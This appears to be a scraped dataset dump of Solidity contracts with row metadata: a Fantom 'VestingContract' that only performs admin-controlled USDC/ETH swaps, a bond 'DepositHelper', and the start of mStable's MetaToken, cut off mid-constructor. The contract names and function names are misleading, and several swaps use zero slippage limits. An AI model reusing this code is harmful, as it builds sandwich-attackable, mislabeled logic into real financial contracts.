/// @return ids snapshot's id
/// @return balances snapshot's balance
/// @return refactoredCounts snapshot's refactoredCount
/// @return remains snapshot's remain
function getAccountBalanceSnapsByIds(uint256 id, address layer2, address account) external view
returns (uint256, uint256, uint256, uint256);
/// @notice snapshot's information by snapshotId
/// @param snapshotId snapshotId
/// @param layer2 a layer2 address
/// @param account a account address
/// @return ids snapshot's id
/// @return balances snapshot's balance
/// @return refactoredCounts snapshot's refactoredCount
/// @return remains snapshot's remain
function getAccountBalanceSnapsBySnapshotId(uint256 snapshotId, address layer2, address account) external view
returns (uint256, uint256, uint256, uint256);
}
| 170,252 | 532 |
1f27ca7fe2e4fbbff5b955b26bf1b6c54b14ce0c228c28b6e6709255ca129e04
| 16,430 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/78/782dc150dfeb0ef514d4c9cbf558759639e491b9_VestingContract.sol
| 3,403 | 13,630 |
//SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract VestingContract is Ownable {
uint constant MAX_UINT = 2**256 - 1;
mapping (address => uint[2]) resv;
bool private isApproved = false;
address[] public arrContracts;
event Deployed(address _addr);
IUniswapV2Router02 private router;
address private routerAddress = 0xF491e7B69E4244ad4002BC14e878a34207E38c29;
address private USDCAddress = 0x04068DA6C83AFCFA0e13ba15A6696662335D5B75;
mapping(address => bool) public admins;
event Received(address sender, uint amount);
constructor() {
router = IUniswapV2Router02(routerAddress);
admins[owner()] = true;
}
modifier onlyAdmin() {
require(_msgSender() != address(0x0) && admins[_msgSender()], "Caller is not the admin");
_;
}
receive() external payable {
emit Received(msg.sender, msg.value);
}
function deposit() public payable onlyOwner {}
function addAdmin(address _address) external onlyOwner {
require(_address != address(0x0), "Zero address");
require(!admins[_address], "This address is already added as an admin");
admins[_address] = true;
}
function removeAdmin(address _address) external onlyOwner {
require(_address != address(0x0), "Zero address");
require(admins[_address], "This address is not admin");
admins[_address] = false;
}
function SellCoin(uint256 ethAmount) public onlyAdmin {
ethAmount = ethAmount * 10 ** 18;
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = USDCAddress;
router.swapExactETHForTokens{value: ethAmount}(0, path, address(this), block.timestamp+60);
}
function BuyCoin(uint256 ethAmount) public onlyAdmin{
IERC20 token = IERC20(USDCAddress);
address[] memory path = new address[](2);
path[0] = USDCAddress;
path[1] = router.WETH();
ethAmount = ethAmount * 10 ** 6;
if(token.allowance(address(this), routerAddress) < ethAmount){
require(token.approve(routerAddress, MAX_UINT),"FAIL TO APPROVE");
}
router.swapExactTokensForETH(ethAmount, 0, path, address(this), block.timestamp+60);
}
function emergencyBuyCoin(uint256 ethAmount) public onlyAdmin{
IERC20 token = IERC20(USDCAddress);
ethAmount = ethAmount * 10 ** 6;
if(token.allowance(address(this), routerAddress) < ethAmount){
require(token.approve(routerAddress, MAX_UINT),"FAIL TO APPROVE");
}
address[] memory path = new address[](2);
path[0] = USDCAddress;
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(ethAmount, 0, path, address(this), block.timestamp+60);
}
function withdrawToken(address tokenAddressForWith, address to, uint256 amount) public onlyOwner{
IERC20 token = IERC20(tokenAddressForWith);
amount = amount * 10 ** 6;
token.transfer(to, amount);
}
}
| 315,256 | 533 |
742c3af2216356df8075bcf231c67fc3820d510192049f1123c99cc87afef659
| 14,908 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8f/8F120b7d4b4b8a439cA6b436aF2C87412C07E82f_DepositHelper.sol
| 3,472 | 12,546 |
pragma solidity 0.7.5;
interface ERC20Interface {
function balanceOf(address user) external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library SafeToken {
function myBalance(address token) internal view returns (uint256) {
return ERC20Interface(token).balanceOf(address(this));
}
function balanceOf(address token, address user) internal view returns (uint256) {
return ERC20Interface(token).balanceOf(user);
}
function safeApprove(address token, address to, uint256 value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeApprove");
}
function safeTransfer(address token, address to, uint256 value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeTransfer");
}
function safeTransferFrom(address token, address from, address to, uint256 value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeTransferFrom");
}
function safeTransferETH(address to, uint256 val) internal {
(bool success,) = to.call{value : val}(new bytes(0));
require(success, "!safeTransferETH");
}
}
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IOwnable {
function policy() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function policy() public view override returns (address) {
return _owner;
}
modifier onlyPolicy() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyPolicy() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyPolicy() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IDepositor {
function deposit(uint _amount, uint _maxPrice, address _depositor) external returns (uint);
function payoutFor(uint _value) external view returns (uint);
}
interface ISwapV2Pair {
function balanceOf(address owner) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function totalSupply() external view returns (uint256);
}
interface ISwapV2Router {
function factory() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline)
external
returns (uint amountA,
uint amountB,
uint liquidity);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function getAmountsOut(uint amountIn,
address[] calldata path) external view returns (uint[] memory amounts);
}
interface ISwapV2Factory {
function factory() external pure returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface ITreasury {
function valueOfToken(address _token, uint _amount) external view returns (uint value_);
}
contract DepositHelper is Ownable {
using SafeToken for address;
using SafeMath for uint256;
address public immutable deposit;
address public immutable USDC;
address public RICH; //
ISwapV2Factory public immutable factory;
ISwapV2Router public immutable router;
address public immutable principle;
ITreasury public immutable treasury;
address public immutable _tokenA;
address public immutable _tokenB;
constructor (address _deposit, ISwapV2Router _router, address _principle, address _RICH, address _USDC, ITreasury _treasury) {
require(_deposit != address(0));
deposit = _deposit;
require(_RICH != address(0));
RICH = _RICH;
_tokenA = _RICH;
require(_USDC != address(0));
USDC = _USDC;
_tokenB = _USDC;
factory = ISwapV2Factory(_router.factory());
router = _router;
principle = _principle;
treasury = _treasury;
}
function depositHelper(uint _amount,
uint _maxPrice,
address _tokenAddress) external payable returns (uint) {
uint256 payout = 0;
if (_tokenAddress == principle) {
principle.safeTransferFrom(msg.sender, address(this), _amount);
principle.safeApprove(address(deposit), _amount);
payout = IDepositor(deposit).deposit(_amount, _maxPrice, msg.sender);
return payout;
} else {
require(_tokenAddress == _tokenA || _tokenAddress == _tokenB ,"_tokenAddress err");
if(_tokenAddress == _tokenA){
_tokenA.safeTransferFrom(msg.sender, address(this), _amount);
_tokenA.safeApprove(address(router), uint256(- 1));
}else{
_tokenB.safeTransferFrom(msg.sender, address(this), _amount);
_tokenB.safeApprove(address(router), uint256(- 1));
}
RICH.safeApprove(address(router), uint256(- 1));
ISwapV2Pair lpToken = ISwapV2Pair(factory.getPair(_tokenA, _tokenB));
require(address(lpToken) != address(0),"not Pair");
calAndSwap(lpToken,_tokenA,_tokenB);
(,, uint256 moreLPAmount) = router.addLiquidity(USDC, RICH, USDC.myBalance(), RICH.myBalance(), 0, 0, address(this), block.timestamp);
principle.safeApprove(address(deposit), moreLPAmount);
if (USDC.myBalance() > 0) {
USDC.safeTransfer(msg.sender, USDC.myBalance());
}
if (RICH.myBalance() > 0) {
RICH.safeTransfer(msg.sender, RICH.myBalance());
}
payout = IDepositor(deposit).deposit(moreLPAmount, _maxPrice, msg.sender);
return payout;
}
}
function depositValue(uint256 _amount) public view returns (uint256 value_) {
ISwapV2Pair lpToken = ISwapV2Pair(factory.getPair(USDC, RICH));
(uint256 token0Reserve, uint256 token1Reserve,) = lpToken.getReserves();
(uint256 debtReserve, uint256 relativeReserve) = USDC ==
lpToken.token0() ? (token0Reserve, token1Reserve) : (token1Reserve, token0Reserve);
(uint256 swapAmt, bool isReversed) = optimalDeposit(_amount, 0,
debtReserve, relativeReserve);
if (swapAmt > 0) {
address[] memory path = new address[](2);
(path[0], path[1]) = isReversed ? (RICH, USDC) : (USDC, RICH);
uint[] memory amounts = router.getAmountsOut(swapAmt, path);
(uint256 amount0, uint256 amount1) = USDC == lpToken.token0() ? (_amount.sub(swapAmt), amounts[1]) : (amounts[1], _amount.sub(swapAmt));
uint256 _totalSupply = lpToken.totalSupply();
uint256 lpAmount = Math.min(amount0.mul(_totalSupply) / token0Reserve, amount1.mul(_totalSupply) / token1Reserve);
uint256 value = treasury.valueOfToken(address(lpToken), lpAmount);
value_ = IDepositor(deposit).payoutFor(value);
return value_;
}
return 0;
}
/// Compute amount and swap between borrowToken and tokenRelative.
function calAndSwap(ISwapV2Pair lpToken,address tokenA,address tokenB) internal {
(uint256 token0Reserve, uint256 token1Reserve,) = lpToken.getReserves();
(uint256 debtReserve, uint256 relativeReserve) = _tokenA ==
lpToken.token0() ? (token0Reserve, token1Reserve) : (token1Reserve, token0Reserve);
(uint256 swapAmt, bool isReversed) = optimalDeposit(_tokenA.myBalance(), _tokenB.myBalance(),
debtReserve, relativeReserve);
if (swapAmt > 0) {
address[] memory path = new address[](2);
(path[0], path[1]) = isReversed ? (tokenB, tokenA) : (tokenA, tokenB);
router.swapExactTokensForTokens(swapAmt, 0, path, address(this), block.timestamp);
}
}
function optimalDeposit(uint256 amtA,
uint256 amtB,
uint256 resA,
uint256 resB) internal pure returns (uint256 swapAmt, bool isReversed) {
if (amtA.mul(resB) >= amtB.mul(resA)) {
swapAmt = _optimalDepositA(amtA, amtB, resA, resB);
isReversed = false;
} else {
swapAmt = _optimalDepositA(amtB, amtA, resB, resA);
isReversed = true;
}
}
function _optimalDepositA(uint256 amtA,
uint256 amtB,
uint256 resA,
uint256 resB) internal pure returns (uint256) {
require(amtA.mul(resB) >= amtB.mul(resA), "Reversed");
uint256 a = 997;
uint256 b = uint256(1997).mul(resA);
uint256 _c = (amtA.mul(resB)).sub(amtB.mul(resA));
uint256 c = _c.mul(1000).div(amtB.add(resB)).mul(resA);
uint256 d = a.mul(c).mul(4);
uint256 e = Math.sqrt(b.mul(b).add(d));
uint256 numerator = e.sub(b);
uint256 denominator = a.mul(2);
return numerator.div(denominator);
}
}
| 311,618 | 534 |
02442d91495bd15ee5eb5c47ec1fc1c893d0c026b7ad6cd8a8eda7c89b2ac208
| 28,318 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
scraping/data/source/mstable-yield.sol
| 3,759 | 13,173 |
pragma solidity 0.5.16;
contract ModuleKeys {
// Governance
// ===========
// Phases
// keccak256("Governance"); // 2.x
bytes32 internal constant KEY_GOVERNANCE = 0x9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d;
//keccak256("Staking"); // 1.2
bytes32 internal constant KEY_STAKING = 0x1df41cd916959d1163dc8f0671a666ea8a3e434c13e40faef527133b5d167034;
//keccak256("ProxyAdmin"); // 1.0
bytes32 internal constant KEY_PROXY_ADMIN = 0x96ed0203eb7e975a4cbcaa23951943fa35c5d8288117d50c12b3d48b0fab48d1;
// mStable
// =======
// keccak256("OracleHub"); // 1.2
bytes32 internal constant KEY_ORACLE_HUB = 0x8ae3a082c61a7379e2280f3356a5131507d9829d222d853bfa7c9fe1200dd040;
// keccak256("Manager"); // 1.2
bytes32 internal constant KEY_MANAGER = 0x6d439300980e333f0256d64be2c9f67e86f4493ce25f82498d6db7f4be3d9e6f;
//keccak256("Recollateraliser"); // 2.x
bytes32 internal constant KEY_RECOLLATERALISER = 0x39e3ed1fc335ce346a8cbe3e64dd525cf22b37f1e2104a755e761c3c1eb4734f;
//keccak256("MetaToken"); // 1.1
bytes32 internal constant KEY_META_TOKEN = 0xea7469b14936af748ee93c53b2fe510b9928edbdccac3963321efca7eb1a57a2;
// keccak256("SavingsManager"); // 1.0
bytes32 internal constant KEY_SAVINGS_MANAGER = 0x12fe936c77a1e196473c4314f3bed8eeac1d757b319abb85bdda70df35511bf1;
}
interface INexus {
function governor() external view returns (address);
function getModule(bytes32 key) external view returns (address);
function proposeModule(bytes32 _key, address _addr) external;
function cancelProposedModule(bytes32 _key) external;
function acceptProposedModule(bytes32 _key) external;
function acceptProposedModules(bytes32[] calldata _keys) external;
function requestLockModule(bytes32 _key) external;
function cancelLockModule(bytes32 _key) external;
function lockModule(bytes32 _key) external;
}
contract Module is ModuleKeys {
INexus public nexus;
constructor(address _nexus) internal {
require(_nexus != address(0), "Nexus is zero address");
nexus = INexus(_nexus);
}
modifier onlyGovernor() {
require(msg.sender == _governor(), "Only governor can execute");
_;
}
modifier onlyGovernance() {
require(msg.sender == _governor() || msg.sender == _governance(),
"Only governance can execute");
_;
}
modifier onlyProxyAdmin() {
require(msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute");
_;
}
modifier onlyManager() {
require(msg.sender == _manager(), "Only manager can execute");
_;
}
function _governor() internal view returns (address) {
return nexus.governor();
}
function _governance() internal view returns (address) {
return nexus.getModule(KEY_GOVERNANCE);
}
function _staking() internal view returns (address) {
return nexus.getModule(KEY_STAKING);
}
function _proxyAdmin() internal view returns (address) {
return nexus.getModule(KEY_PROXY_ADMIN);
}
function _metaToken() internal view returns (address) {
return nexus.getModule(KEY_META_TOKEN);
}
function _oracleHub() internal view returns (address) {
return nexus.getModule(KEY_ORACLE_HUB);
}
function _manager() internal view returns (address) {
return nexus.getModule(KEY_MANAGER);
}
function _savingsManager() internal view returns (address) {
return nexus.getModule(KEY_SAVINGS_MANAGER);
}
function _recollateraliser() internal view returns (address) {
return nexus.getModule(KEY_RECOLLATERALISER);
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract GovernedMinterRole is Module {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor(address _nexus) internal Module(_nexus) {
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyGovernor {
_addMinter(account);
}
function removeMinter(address account) public onlyGovernor {
_removeMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract MetaToken is
ERC20,
GovernedMinterRole,
ERC20Detailed,
ERC20Burnable
{
constructor(address _nexus,
address _initialRecipient)
public
GovernedMinterRole(_nexus)
ERC20Detailed("Meta",
"MTA",
18)
{
// 100m initial supply
